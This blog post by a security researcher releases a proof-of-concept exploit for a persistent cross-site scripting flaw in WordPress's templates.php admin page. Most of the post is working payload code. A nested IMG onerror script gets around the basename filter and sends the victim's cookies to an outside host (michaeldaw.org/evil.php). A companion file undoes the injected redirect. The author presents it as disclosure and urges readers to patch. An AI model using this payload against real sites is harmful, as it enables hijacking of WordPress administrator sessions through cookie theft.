Its been a few days since the release of:
http://michaeldaw.org/md-hacks/wordpress-persistent-xss/.

Other references:

Time to release a proof of concept exploit for this. I am sure the crackers will already be exploiting this in the wild.

If you remember from my original advisory, our attack was limited due to our attack being passed through PHP’s basename function. To get around this we borrow the characters from document.location. I wanted an exploit that was simple and compact.

I created two HTML files to aid in my research, Injection.html and Recover.html.

First: Inject.html

This is our actual exploit (we use a nested IMG exploit):

<
        img src='https://wordpress-site/wp/wp-admin/templates.php?file=<
        img src=%27%27 onerror="javascript:
        var s=(document.location.toString().charAt(6));
        var url=(%27http:%27%2Bs%2Bs%2B%27michaeldaw.org%27);
        document.location=url%2Bs%2B%27evil.php?%27%2Bdocument.cookie">'
>

Second: Recover.php

If we mess up we may create an annoying, persistent redirect that prevents us access to the templates.php file. So this next HTML file simply resets our templates.php file using the same injection point.

<img src="https://wordpress-site/wp/wp-admin/templates.php?file=a">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=b">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=c">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=d">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=e">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=f">

Job done; all that is required is for an attacker to setup a file on a remote server to capture the cookies.

Conclusion

I hope this article “strongly” encourages WordPress users to apply the latest patch ASAP! Another attack vector I was thinking of was injecting PHP code straight into the WordPress Installation. I can see really bad worm potential with this vulnerability. I stress again, apply the patch.